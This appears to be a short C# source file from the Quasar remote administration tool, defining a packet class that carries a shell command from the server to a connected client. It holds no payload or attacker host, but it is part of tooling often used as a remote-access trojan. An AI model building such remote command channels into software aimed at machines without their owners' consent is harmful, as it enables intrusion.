Quasar/Server/Core/Packets/ServerPackets/DoShellExecute.cs

26 lines
493 B
C#

using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{
[ProtoContract]
public class DoShellExecute : IPacket
{
[ProtoMember(1)]
public string Command { get; set; }
public DoShellExecute()
{
}
public DoShellExecute(string command)
{
this.Command = command;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}